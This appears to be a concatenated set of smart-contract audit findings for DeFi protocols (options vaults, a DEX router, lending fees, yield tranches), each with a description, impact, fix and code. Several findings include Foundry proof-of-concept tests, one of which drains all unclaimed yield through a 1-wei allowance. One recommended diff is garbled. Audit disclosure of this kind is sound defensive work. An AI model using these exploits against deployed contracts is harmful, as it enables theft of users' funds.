amountUp,\\n uint256 amountDown\\n ) private returns (uint256 premium_, uint256 fee) {\\n (premium_, fee) = ig.premium(strike, amountUp, amountDown);\\n TokenUtils.provideApprovedTokens(admin, address(baseToken), user, address(ig), premium_*5, vm);\\n }\\n}\\n```\\n\\nExecution console:\\n```\\n baseToken balance 1000000000000000000\\n sideToken balance 1000000000000000000\\n dead false\\n lockedInitially 2000000000000000000\\n// rest of code\\n Buy 100% IG BEAR @ 1.0\\n premium 6140201098441368\\n base token notional 1006140201098441412\\n side token notional 999999999999999956\\n Buy 100% IG BULL @ 0.9\\n premium 3853262173300493\\n base token notional 1009993463271741905\\n side token notional 999999999999999956\\n Sell 100% IG BULL @ 0.99\\n payoff received 4865770659690694\\n base token notional 1005127692612051211\\n side token notional 999999999999999956\\n// rest of code\\n Buy 100% IG BULL @ 0.9\\n premium 1827837493502948\\n base token notional 984975976168184269\\n side token notional 999999999999999956\\n Sell 100% IG BULL @ 0.99\\n payoff received 3172781130161218\\n base token notional 981803195038023051\\n side token notional 999999999999999956\\n Sell 100% IG BEAR @ 1.0\\n payoff received 3269654020920760\\n base token notional 978533541017102291\\n side token notional 999999999999999956\\n```\\n\\nNotice:\\nInitial vault balance at the asset price of 1.0 is base = 1, side = 1\\nAll IG Bull trades do not change vault side token balance (no re-balancing happens)\\nAfter 20 trades, at the asset price of 1.0, base = 0.9785, side = 1\\nThis means that 20 profitable trades create a 1.07% loss for the vault. Similar scenario for annual options with 50% price move shows 3% vault loss per trade.
```\\n /**\\n Δ_bull = (1 / θ) * F\\n F = {\\n@@@ * 0 if (S < K)\\n * (1 - √(K / Kb)) / K if (S > Kb)\\n * 1 / K - 1 / √(S * K) if (K < S < Kb)\\n }\\n */\\n function bullDelta(uint256 k, uint256 kB, uint256 s, uint256 theta) internal pure returns (int256) {\\n SD59x18 delta;\\n if (s <= k) {\\n@@@ return 0;\\n }\\n```\\n
If the vault's side token balance is 0 or a tiny amount, then most if not all IG Bear trades will revert due to incorrect check of computation error during delta hedge amount calculation
medium
When delta hedge amount is calculated in `FinanceIGDelta.deltaHedgeAmount`, the last step is to verify that delta hedge amount to sell is slightly more than vault's side token due to computation error. The check is the following:\\n```\\n if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n }\\n }\\n```\\n\\nThe check works correctly most of the time, but if the vault's side token (param.sideTokensAmount) is 0 or close to it, then the check will always fail, because `0 / 10000 = 0` and unsigned amount can not be less than 0. This means that even tiny amount to sell (like 1 wei) will revert the transaction if the vault has 0 side tokens.\\nVault's side token is 0 when:\\nthe current price trades above high boundary (Kb)\\nand IG Bull used liquidity equals 0\\nIn such situation, any IG bear trade doesn't impact hedge amount, but due to computation error will almost always result in tiny but non-0 side token amount to sell value, which will revert due to incorrect comparision described above.
Possibly check both relative (sideToken / 10000) and absolute (e.g. 1000 or side token UNIT / 10000) value. Alternatively, always limit side token to sell amount to max of side token balance when hedging (but needs additional research if that might create issues).
Almost all IG Bear trades will revert in certain situations, leading to core protocol function being unavailable and potentially loss of funds to the users who expected to do these trades.\\nProof Of Concept\\nCopy to attack.t.sol:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.15;\\n\\nimport {Test} from "forge-std/Test.sol";\\nimport {console} from "forge-std/console.sol";\\nimport {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";\\n\\nimport {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport {IPositionManager} from "@project/interfaces/IPositionManager.sol";\\nimport {Epoch} from "@project/lib/EpochController.sol";\\nimport {AmountsMath} from "@project/lib/AmountsMath.sol";\\nimport {EpochFrequency} from "@project/lib/EpochFrequency.sol";\\nimport {OptionStrategy} from "@project/lib/OptionStrategy.sol";\\nimport {AddressProvider} from "@project/AddressProvider.sol";\\nimport {MarketOracle} from "@project/MarketOracle.sol";\\nimport {FeeManager} from "@project/FeeManager.sol";\\nimport {Vault} from "@project/Vault.sol";\\nimport {TestnetToken} from "@project/testnet/TestnetToken.sol";\\nimport {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";\\nimport {DVPUtils} from "./utils/DVPUtils.sol";\\nimport {TokenUtils} from "./utils/TokenUtils.sol";\\nimport {Utils} from "./utils/Utils.sol";\\nimport {VaultUtils} from "./utils/VaultUtils.sol";\\nimport {MockedIG} from "./mock/MockedIG.sol";\\nimport {MockedRegistry} from "./mock/MockedRegistry.sol";\\nimport {MockedVault} from "./mock/MockedVault.sol";\\nimport {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";\\nimport {PositionManager} from "@project/periphery/PositionManager.sol";\\n\\n\\ncontract IGTradeTest is Test {\\n using AmountsMath for uint256;\\n\\n address admin = address(0x1);\\n\\n // User of Vault\\n address alice = address(0x2);\\n address bob = address(0x3);\\n\\n //User of DVP\\n address charlie = address(0x4);\\n address david = address(0x5);\\n\\n AddressProvider ap;\\n TestnetToken baseToken;\\n TestnetToken sideToken;\\n FeeManager feeManager;\\n\\n MockedRegistry registry;\\n\\n MockedVault vault;\\n MockedIG ig;\\n TestnetPriceOracle priceOracle;\\n TestnetSwapAdapter exchange;\\n uint _strike;\\n\\n function setUp() public {\\n vm.warp(EpochFrequency.REF_TS);\\n //ToDo: Replace with Factory\\n vm.startPrank(admin);\\n ap = new AddressProvider(0);\\n registry = new MockedRegistry();\\n ap.grantRole(ap.ROLE_ADMIN(), admin);\\n registry.grantRole(registry.ROLE_ADMIN(), admin);\\n ap.setRegistry(address(registry));\\n\\n vm.stopPrank();\\n\\n vault = MockedVault(VaultUtils.createVault(EpochFrequency.WEEKLY, ap, admin, vm));\\n priceOracle = TestnetPriceOracle(ap.priceOracle());\\n\\n baseToken = TestnetToken(vault.baseToken());\\n sideToken = TestnetToken(vault.sideToken());\\n\\n vm.startPrank(admin);\\n \\n ig = new MockedIG(address(vault), address(ap));\\n ig.grantRole(ig.ROLE_ADMIN(), admin);\\n ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n vault.grantRole(vault.ROLE_ADMIN(), admin);\\n vm.stopPrank();\\n ig.setOptionPrice(1e3);\\n ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1\\n ig.useRealDeltaHedge();\\n ig.useRealPercentage();\\n ig.useRealPremium();\\n\\n DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);\\n\\n vm.prank(admin);\\n registry.registerDVP(address(ig));\\n vm.prank(admin);\\n MockedVault(vault).setAllowedDVP(address(ig));\\n feeManager = FeeManager(ap.feeManager());\\n\\n exchange = TestnetSwapAdapter(ap.exchangeAdapter());\\n }\\n\\n // try to buy/sell ig bull below strike for user's profit\\n // this will not be hedged, and thus the vault should lose funds\\n function test() public {\\n _strike = 1e18;\\n VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);\\n VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);\\n\\n Utils.skipWeek(true, vm);\\n\\n vm.prank(admin);\\n ig.rollEpoch();\\n\\n VaultUtils.logState(vault);\\n DVPUtils.debugState(ig);\\n\\n testBuyOption(1.24e18, 1, 0); // re-balance to have 0 side tokens\\n testBuyOption(1.24e18, 0, 0.1e18); // reverts due to computation error and incorrect check to fix it\\n }\\n\\n function testBuyOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n\\n vm.prank(admin);\\n priceOracle.setTokenPrice(address(sideToken), price);\\n\\n (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike, optionAmountUp, optionAmountDown);\\n\\n vm.startPrank(charlie);\\n premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown, premium, 10e18, 0);\\n vm.stopPrank();\\n\\n console.log("premium", premium);\\n }\\n\\n function testSellOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal returns (uint) {\\n vm.prank(admin);\\n priceOracle.setTokenPrice(address(sideToken), price);\\n\\n uint256 charliePayoff;\\n uint256 charliePayoffFee;\\n {\\n vm.startPrank(charlie);\\n (charliePayoff, charliePayoffFee) = ig.payoff(\\n ig.currentEpoch(),\\n _strike,\\n optionAmountUp,\\n optionAmountDown\\n );\\n\\n charliePayoff = ig.burn(\\n ig.currentEpoch(),\\n charlie,\\n _strike,\\n optionAmountUp,\\n optionAmountDown,\\n charliePayoff,\\n 0.1e18\\n );\\n vm.stopPrank();\\n\\n console.log("payoff received", charliePayoff);\\n }\\n }\\n\\n function _assurePremium(\\n address user,\\n uint256 strike,\\n uint256 amountUp,\\n uint256 amountDown\\n ) private returns (uint256 premium_, uint256 fee) {\\n (premium_, fee) = ig.premium(strike, amountUp, amountDown);\\n TokenUtils.provideApprovedTokens(admin, address(baseToken), user, address(ig), premium_*5, vm);\\n }\\n}\\n```\\n\\nNotice: execution will revert when trying to buy IG Bear options.
```\\n if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n }\\n }\\n```\\n
Mint and sales can be dossed due to lack of safeApprove to 0
medium
The lack of approval to 0 to the dvp contract, and the fee managers during DVP mints and sales will cause that subsequent transactions involving approval of these contracts to spend the basetoken will fail, breaking their functionality.\\nWhen DVPs are to be minted and sold through the PositionManager, the `mint` and `sell` functions are invoked. The first issue appears here, where the DVP contract is approved to spend the basetoken using the OpenZeppelin's `safeApprove` function, without first approving to zero. Further down the line, the `mint` and `sell` functions make calls to the DVP contract to `mint` and burn DVP respectively.\\nThe _mint and _burn functions in the DVP contract approves the fee manager to spend the fee - vaultFee/netFee.\\nThis issue here is that OpenZeppelin's `safeApprove()` function does not allow changing a non-zero allowance to another non-zero allowance. This will therefore cause all subsequent approval of the basetoken to fail after the first approval, dossing the contract's minting and selling/burning functionality.\\nOpenZeppelin's `safeApprove()` will revert if the account already is approved and the new `safeApprove()` is done with a non-zero value.\\n```\\n function safeApprove(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n "SafeERC20: approve from non-zero to non-zero allowance"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n```\\n
Approve first to 0;\\nUpdate the OpenZeppelin version to the latest and use the `forceApprove` functions instead;\\nRefactor the functions to allow for direct transfer of base tokens to the DVP and FeeManager contracts directly.
This causes that after the first approval for the baseToken has been given, subsequent approvals will fail causing the functions to fail.
```\\n function safeApprove(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n "SafeERC20: approve from non-zero to non-zero allowance"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n```\\n
User wrapped tokens get stuck in master router because of incorrect calculation
medium
Swapping exact tokens for ETH swaps underlying token amount, not wrapped token amount and this causes wrapped tokens to get stuck in the contract.\\nIn the protocol the `JalaMasterRouter` is used to swap tokens with less than 18 decimals. It is achieved by wrapping the underlying tokens and interacting with the `JalaRouter02`. Wrapping the token gives it decimals 18 (18 - token.decimals()). There are also functions that swap with native ETH.\\nIn the `swapExactTokensForETH` function the tokens are transferred from the user to the Jala master router, wrapped, approved to `JalaRouter2` and then `IJalaRouter02::swapExactTokensForETH()` is called with the amount of tokens to swap, to address, deadline and path.\\nThe amount of tokens to swap that is passed, is the amount before the wrap. Hence the wrappedAmount - underlyingAmount is stuck.\\nAdd the following test to `JalaMasterRouter.t.sol` and run with `forge test --mt testswapExactTokensForETHStuckTokens -vvv`\\n```\\n function testswapExactTokensForETHStuckTokens() public {\\n address wrappedTokenA = IChilizWrapperFactory(wrapperFactory).wrappedTokenFor(address(tokenA));\\n\\n tokenA.approve(address(wrapperFactory), type(uint256).max);\\n wrapperFactory.wrap(address(this), address(tokenA), 100);\\n\\n IERC20(wrappedTokenA).approve(address(router), 100 ether);\\n router.addLiquidityETH{value: 100 ether}(wrappedTokenA, 100 ether, 0, 0, address(this), type(uint40).max);\\n\\n address pairAddress = factory.getPair(address(WETH), wrapperFactory.wrappedTokenFor(address(tokenA)));\\n\\n uint256 pairBalance = JalaPair(pairAddress).balanceOf(address(this));\\n\\n address[] memory path = new address[](2);\\n path[0] = wrappedTokenA;\\n path[1] = address(WETH);\\n\\n vm.startPrank(user0);\\n console.log("ETH user balance before: ", user0.balance);\\n console.log("TokenA user balance before: ", tokenA.balanceOf(user0));\\n console.log("WTokenA router balance before: ", IERC20(wrappedTokenA).balanceOf(address(masterRouter)));\\n\\n tokenA.approve(address(masterRouter), 550);\\n masterRouter.swapExactTokensForETH(address(tokenA), 550, 0, path, user0, type(uint40).max);\\n vm.stopPrank();\\n\\n console.log("ETH user balance after: ", user0.balance);\\n console.log("TokenA user balance after: ", tokenA.balanceOf(user0));\\n console.log("WTokenA router balance after: ", IERC20(wrappedTokenA).balanceOf(address(masterRouter)));\\n }\\n```\\n
In `JalaMasterRouter::swapExactTokensForETH()` multiply the `amountIn` by decimal off set of the token:\\n```\\n function swapExactTokensForETH(\\n address originTokenAddress,\\n uint256 amountIn,\\n uint256 amountOutMin,\\n address[] calldata path,\\n address to,\\n uint256 deadline\\n ) external virtual override returns (uint256[] memory amounts) {\\n address wrappedTokenIn = IChilizWrapperFactory(wrapperFactory).wrappedTokenFor(originTokenAddress);\\n\\n require(path[0] == wrappedTokenIn, "MS: !path");\\n\\n TransferHelper.safeTransferFrom(originTokenAddress, msg.sender, address(this), amountIn);\\n _approveAndWrap(originTokenAddress, amountIn);\\n IERC20(wrappedTokenIn).approve(router, IERC20(wrappedTokenIn).balanceOf(address(this)));\\n\\n// Add the line below\\n uint256 decimalOffset = IChilizWrappedERC20(wrappedTokenIn).getDecimalsOffset();\\n// Add the line below\\n amounts = IJalaRouter02(router).swapExactTokensForETH(amountIn * decimalOffset, amountOutMin, path, to, deadline);\\n// Remove the line below\\n amounts = IJalaRouter02(router).swapExactTokensForETH(amountIn , amountOutMin, path, to, deadline);\\n }\\n```\\n
User wrapped tokens get stuck in router contract. The can be stolen by someone performing a `swapExactTokensForTokens()` because it uses the whole balance of the contract when swapping: `IERC20(wrappedTokenIn).balanceOf(address(this))`\\n```\\n amounts = IJalaRouter02(router).swapExactTokensForTokens(\\n IERC20(wrappedTokenIn).balanceOf(address(this)),\\n amountOutMin,\\n path,\\n address(this),\\n deadline\\n );\\n```\\n
```\\n function testswapExactTokensForETHStuckTokens() public {\\n address wrappedTokenA = IChilizWrapperFactory(wrapperFactory).wrappedTokenFor(address(tokenA));\\n\\n tokenA.approve(address(wrapperFactory), type(uint256).max);\\n wrapperFactory.wrap(address(this), address(tokenA), 100);\\n\\n IERC20(wrappedTokenA).approve(address(router), 100 ether);\\n router.addLiquidityETH{value: 100 ether}(wrappedTokenA, 100 ether, 0, 0, address(this), type(uint40).max);\\n\\n address pairAddress = factory.getPair(address(WETH), wrapperFactory.wrappedTokenFor(address(tokenA)));\\n\\n uint256 pairBalance = JalaPair(pairAddress).balanceOf(address(this));\\n\\n address[] memory path = new address[](2);\\n path[0] = wrappedTokenA;\\n path[1] = address(WETH);\\n\\n vm.startPrank(user0);\\n console.log("ETH user balance before: ", user0.balance);\\n console.log("TokenA user balance before: ", tokenA.balanceOf(user0));\\n console.log("WTokenA router balance before: ", IERC20(wrappedTokenA).balanceOf(address(masterRouter)));\\n\\n tokenA.approve(address(masterRouter), 550);\\n masterRouter.swapExactTokensForETH(address(tokenA), 550, 0, path, user0, type(uint40).max);\\n vm.stopPrank();\\n\\n console.log("ETH user balance after: ", user0.balance);\\n console.log("TokenA user balance after: ", tokenA.balanceOf(user0));\\n console.log("WTokenA router balance after: ", IERC20(wrappedTokenA).balanceOf(address(masterRouter)));\\n }\\n```\\n
JalaPair potential permanent DoS due to overflow
medium
In the `JalaPair::_update` function, overflow is intentionally desired in the calculations for `timeElapsed` and `priceCumulative`. This is forked from the UniswapV2 source code, and it's meant and known to overflow. UniswapV2 was developed using Solidity 0.6.6, where arithmetic operations overflow and underflow by default. However, Jala utilizes Solidity >=0.8.0, where such operations will automatically revert.\\n```\\nuint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\\nif (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {\\n // * never overflows, and + overflow is desired\\n price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;\\n price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;\\n}\\n```\\n
Use the `unchecked` block to ensure everything overflows as expected
This issue could potentially lead to permanent denial of service for a pool. All the core functionalities such as `mint`, `burn`, or `swap` would be broken. Consequently, all funds would be locked within the contract.\\nI think issue with High impact and a Low probability (merely due to the extended timeframe for the event's occurrence, it's important to note that this event will occur with 100% probability if the protocol exists at that time), should be considered at least as Medium.\\nReferences\\nThere are cases where the same issue is considered High.
```\\nuint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\\nif (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {\\n // * never overflows, and + overflow is desired\\n price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;\\n price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;\\n}\\n```\\n
Fees aren't distributed properly for positions with multiple lenders, causing loss of funds for lenders
high
Fees distributed are calculated according to a lender's amount lent divided by the total amount lent, which causes more recent lenders to steal fees from older lenders.\\n```\\n uint256 feesAmt = FullMath.mulDiv(feesOwed, cache.holdTokenDebt, borrowedAmount); //fees owed multiplied by the individual amount lent, divided by the total amount lent\\n // rest of code\\n loansFeesInfo[creditor][cache.holdToken] += feesAmt;\\n harvestedAmt += feesAmt;\\n```\\n\\nThe above is from harvest(); `repay()` calculates the fees similarly. Because `borrow()` doesn't distribute fees, the following scenario will occur when a borrower increases an existing position:\\nBorrower has an existing position with fees not yet collected by the lenders.\\nBorrower increases the position with a loan from a new lender.\\n`harvest()` or `repay()` is called, and the new lender is credited with some of the previous fees earned by the other lenders due to the fees calculation. Other lenders lose fees.\\nThis scenario can naturally occur during the normal functioning of the protocol, or a borrower/attacker with a position with a large amount of uncollected fees can maliciously open a proportionally large loan with an attacker to steal most of the fees.\\nAlso note that ANY UDPATE ISSUE? LOW PRIO
A potential fix is to harvest fees in the borrow() function; the scenario above will no longer be possible.
Loss of funds for lenders, potential for borrowers to steal fees.
```\\n uint256 feesAmt = FullMath.mulDiv(feesOwed, cache.holdTokenDebt, borrowedAmount); //fees owed multiplied by the individual amount lent, divided by the total amount lent\\n // rest of code\\n loansFeesInfo[creditor][cache.holdToken] += feesAmt;\\n harvestedAmt += feesAmt;\\n```\\n
Entrance fees are distributed wrongly in loans with multiple lenders
medium
Entrance fees are distributed improperly, some lenders are likely to lose some portion of their entrance fees. Also, calling `updateHoldTokenEntranceFee()` can cause improper entrance fee distribution in loans with multiple lenders.\\nNote that entrance fees are added to the borrower's `feesOwed` when borrowing:\\n```\\n borrowing.feesOwed += entranceFee;\\n```\\n\\n```\\n uint256 feesAmt = FullMath.mulDiv(feesOwed, cache.holdTokenDebt, borrowedAmount); //fees owed multiplied by the individual amount lent, divided by the total amount lent\\n // rest of code\\n loansFeesInfo[creditor][cache.holdToken] += feesAmt;\\n harvestedAmt += feesAmt;\\n```\\n\\nThis is a problem because the entrance fees will be distributed among all lenders instead of credited to each lender. Example:\\nA borrower takes a loan of 100 tokens from a lender and pays an entrance fee of 10 tokens.\\nAfter some time, the lender harvests fees and fees are set to zero. (This step could be frontrunning the below step.)\\nThe borrower immediately takes out another loan of 100 tokens and pays and entrance fee of 10 tokens.\\nWhen fees are harvested again, due to the calculation in the code block above, 5 tokens of the entrance fee go to the first lender and 5 tokens go to the second lender. The first lender has collected 15 tokens of entrance fees, while the second lender has collected only 5- despite both loans having the same borrowed amount.\\nFurthermore, if the entrance fee is increased then new lenders will lose part of their entrance fee. Example:\\nA borrower takes a loan of 100 tokens from a lender and pays an entrance fee of 10 tokens.\\nThe entrance fee is increased.\\nThe borrower increases the position by taking a loan of 100 tokens from a new lender, and pays an entrance fee of 20 tokens.\\n`harvest()` is called, and both lenders receive 15 tokens out of the total 30 tokens paid as entrance fees. This is wrong since the first lender should receive 10 and the second lender should receive 20.
Could add the entrance fee directly to the lender's fees balance instead of adding it to feesOwed, and then track the entrance fee in the loan data to be used in min fee enforcement calculations.
Lenders are likely to lose entrance fees.
```\\n borrowing.feesOwed += entranceFee;\\n```\\n
A borrower eligible for liquidation can pay an improperly large amount of fees, and may be unfairly liquidated
medium
If a borrower is partially liquidated and then increases the collateral balance to avoid further liquidation, they will pay an improperly large amount of fees and can be unfairly liquidated.\\n```\\n (collateralBalance, currentFees) = _calculateCollateralBalance(\\n borrowing.borrowedAmount,\\n borrowing.accLoanRatePerSeconds,\\n borrowing.dailyRateCollateralBalance,\\n accLoanRatePerSeconds\\n );\\n // rest of code\\n if (collateralBalance > 0) {\\n // rest of code\\n } else {\\n currentFees = borrowing.dailyRateCollateralBalance; //entire collateral amount\\n }\\n // rest of code\\n borrowing.feesOwed += _pickUpPlatformFees(borrowing.holdToken, currentFees);\\n```\\n\\nWhen liquidation occurs right after becoming liquidatable, the `collateralBalance` calculation in `repay()` above will be a small value like -1; and essentially all the fees owed will be collected.\\nIf the borrower notices the partial liquidation and wishes to avoid further liquidation, `increaseCollateralBalance()` can be called to become solvent again. But since the `accLoanRatePerSeconds` wasn't updated, the borrower will have to doubly pay all the fees that were just collected. This will happen if a lender calls `harvest()` or the loan is liquidated again. The loan can also be liquidated unfairly, because the `collateralBalance` calculated above will be much lower than it should be.
Update `accLoanRatePerSeconds` for incomplete emergency liquidations.
The borrower may pay too many fees, and it's also possible to unfairly liquidate the position.
```\\n (collateralBalance, currentFees) = _calculateCollateralBalance(\\n borrowing.borrowedAmount,\\n borrowing.accLoanRatePerSeconds,\\n borrowing.dailyRateCollateralBalance,\\n accLoanRatePerSeconds\\n );\\n // rest of code\\n if (collateralBalance > 0) {\\n // rest of code\\n } else {\\n currentFees = borrowing.dailyRateCollateralBalance; //entire collateral amount\\n }\\n // rest of code\\n borrowing.feesOwed += _pickUpPlatformFees(borrowing.holdToken, currentFees);\\n```\\n
All yield could be drained if users set any ````> 0```` allowance to others
high
`Tranche.redeemWithYT()` is not well implemented, all yield could be drained if users set any `> 0` allowance to others.\\nThe issue arises on L283, all `accruedInTarget` is sent out, this will not work while users have allowances to others. Let's say, alice has `1000 YT` (yield token) which has generated `100 TT` (target token), and if she approves bob `100 YT` allowance, then bob should only be allowed to take the proportional target token, which is `100 TT` * (100 YT / 1000 YT) = 10 TT.\\n```\\nFile: src\\Tranche.sol\\n function redeemWithYT(address from, address to, uint256 pyAmount) external nonReentrant returns (uint256) {\\n// rest of code\\n accruedInTarget += _computeAccruedInterestInTarget(\\n _gscales.maxscale,\\n _lscale,\\n// rest of code\\n _yt.balanceOf(from)\\n );\\n..\\n uint256 sharesRedeemed = pyAmount.divWadDown(_gscales.maxscale);\\n// rest of code\\n _target.safeTransfer(address(adapter), sharesRedeemed + accruedInTarget);\\n (uint256 amountWithdrawn, ) = adapter.prefundedRedeem(to);\\n// rest of code\\n return amountWithdrawn;\\n }\\n```\\n\\nThe following coded PoC shows all unclaimed and unaccrued target token could be drained out, even if the allowance is as low as `1wei`.\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport {TestTranche} from "./Tranche.t.sol";\\nimport "forge-std/console2.sol";\\n\\ncontract TrancheAllowanceIssue is TestTranche {\\n address bob = address(0x22);\\n function setUp() public virtual override {\\n super.setUp();\\n }\\n\\n function testTrancheAllowanceIssue() public {\\n // 1. issue some PT and YT\\n deal(address(underlying), address(this), 1_000e6, true);\\n tranche.issue(address(this), 1_000e6);\\n\\n // 2. generating some unclaimed yield\\n vm.warp(block.timestamp + 30 days);\\n _simulateScaleIncrease();\\n\\n // 3. give bob any negligible allowance, could be as low as only 1wei\\n tranche.approve(bob, 1);\\n yt.approve(bob, 1);\\n\\n // 4. all unclaimed and pending yield drained by bob\\n assertEq(0, underlying.balanceOf(bob));\\n vm.prank(bob);\\n tranche.redeemWithYT(address(this), bob, 1);\\n assertTrue(underlying.balanceOf(bob) > 494e6);\\n }\\n}\\n```\\n\\nAnd the logs:\\n```\\n2024-01-napier\\napier-v1> forge test --match-test testTrancheAllowanceIssue -vv\\n[⠔] Compiling// rest of code\\n[⠊] Compiling 42 files with 0.8.19\\n[⠔] Solc 0.8.19 finished in 82.11sCompiler run successful!\\n[⠒] Solc 0.8.19 finished in 82.11s\\n\\nRunning 1 test for test/unit/TrancheAllowanceIssue.t.sol:TrancheAllowanceIssue\\n[PASS] testTrancheAllowanceIssue() (gas: 497585)\\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.06ms\\n\\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\\n```\\n
```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/napier// Remove the line below\\nv1/src/Tranche.sol b/napier// Remove the line below\\nv1/src/Tranche.sol\\nindex 62d9562..65db5c6 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/napier// Remove the line below\\nv1/src/Tranche.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/napier// Remove the line below\\nv1/src/Tranche.sol\\n@@ // Remove the line below\\n275,12 // Add the line below\\n275,15 @@ contract Tranche is BaseToken, ReentrancyGuard, Pausable, ITranche {\\n delete unclaimedYields[from];\\n gscales = _gscales;\\n\\n// Add the line below\\n uint256 accruedProportional = accruedInTarget * pyAmount / _yt.balanceOf(from);\\n// Add the line below\\n unclaimedYields[from] = accruedInTarget // Remove the line below\\n accruedProportional;\\n// Add the line below\\n \\n // Burn PT and YT tokens from `from`\\n _burnFrom(from, pyAmount);\\n _yt.burnFrom(from, msg.sender, pyAmount);\\n\\n // Withdraw underlying tokens from the adapter and transfer them to the user\\n// Remove the line below\\n _target.safeTransfer(address(adapter), sharesRedeemed // Add the line below\\n accruedInTarget);\\n// Add the line below\\n _target.safeTransfer(address(adapter), sharesRedeemed // Add the line below\\n accruedProportional);\\n (uint256 amountWithdrawn, ) = adapter.prefundedRedeem(to);\\n\\n emit RedeemWithYT(from, to, amountWithdrawn);\\n```\\n
Users lost all unclaimed and unaccrued yield
```\\nFile: src\\Tranche.sol\\n function redeemWithYT(address from, address to, uint256 pyAmount) external nonReentrant returns (uint256) {\\n// rest of code\\n accruedInTarget += _computeAccruedInterestInTarget(\\n _gscales.maxscale,\\n _lscale,\\n// rest of code\\n _yt.balanceOf(from)\\n );\\n..\\n uint256 sharesRedeemed = pyAmount.divWadDown(_gscales.maxscale);\\n// rest of code\\n _target.safeTransfer(address(adapter), sharesRedeemed + accruedInTarget);\\n (uint256 amountWithdrawn, ) = adapter.prefundedRedeem(to);\\n// rest of code\\n return amountWithdrawn;\\n }\\n```\\n
LP Tokens always valued at 3 PTs
high
LP Tokens are always valued at 3 PTs. As a result, users of the AMM pool might receive fewer assets/PTs than expected. The AMM pool might be unfairly arbitraged, resulting in a loss for the pool's LPs.\\nThe Napier AMM pool facilitates trade between underlying assets and PTs. The PTs in the pool are represented by the Curve's Base LP Token of the Curve's pool that holds the PTs. The Napier AMM pool and Router math assumes that the Base LP Token is equivalent to 3 times the amount of PTs, as shown below. When the pool is initially deployed, it is correct that the LP token is equivalent to 3 times the amount of PT.\\n```\\nFile: PoolMath.sol\\n int256 internal constant N_COINS = 3;\\n..SNIP..\\n function swapExactBaseLpTokenForUnderlying(PoolState memory pool, uint256 exactBaseLptIn)\\n internal\\n..SNIP..\\n // Note: Here we are multiplying by N_COINS because the swap formula is defined in terms of the amount of PT being swapped.\\n // BaseLpt is equivalent to 3 times the amount of PT due to the initial deposit of 1:1:1:1=pt1:pt2:pt3:Lp share in Curve pool.\\n exactBaseLptIn.neg() * N_COINS\\n..SNIP..\\n function swapUnderlyingForExactBaseLpToken(PoolState memory pool, uint256 exactBaseLptOut)\\n..SNIP..\\n (int256 _netUnderlyingToAccount18, int256 _netUnderlyingFee18, int256 _netUnderlyingToProtocol18) = executeSwap(\\n pool,\\n // Note: sign is defined from the perspective of the swapper.\\n // positive because the swapper is buying pt\\n exactBaseLptOut.toInt256() * N_COINS\\n```\\n\\n```\\nFile: NapierPool.sol\\n /// @dev Number of coins in the BasePool\\n uint256 internal constant N_COINS = 3;\\n..SNIP..\\n totalBaseLptTimesN: baseLptUsed * N_COINS,\\n..SNIP..\\n totalBaseLptTimesN: totalBaseLpt * N_COINS,\\n```\\n\\nIn Curve, LP tokens are generally priced by computing the underlying tokens per share, hence dividing the total underlying token amounts by the total supply of the LP token. Given that the underlying assets in Curve's stable swap are pegged to each other, the invariant's $D$ value can be computed to estimate the total value of the underlying tokens.\\nCurve itself provides a function `get_virtual_price` that computes the price of the LP token by dividing $D$ with the total supply.\\nNote that for LP tokens, the ratio of the total underlying value and the total supply will grow (fee mechanism) over time. Thus, the virtual price's value will increase over time.\\nThis means the LP token will be worth more than 3 PTs in the Curve Pool over time. However, the Naiper AMM pool still values its LP token at a constant value of 3 PTs. This 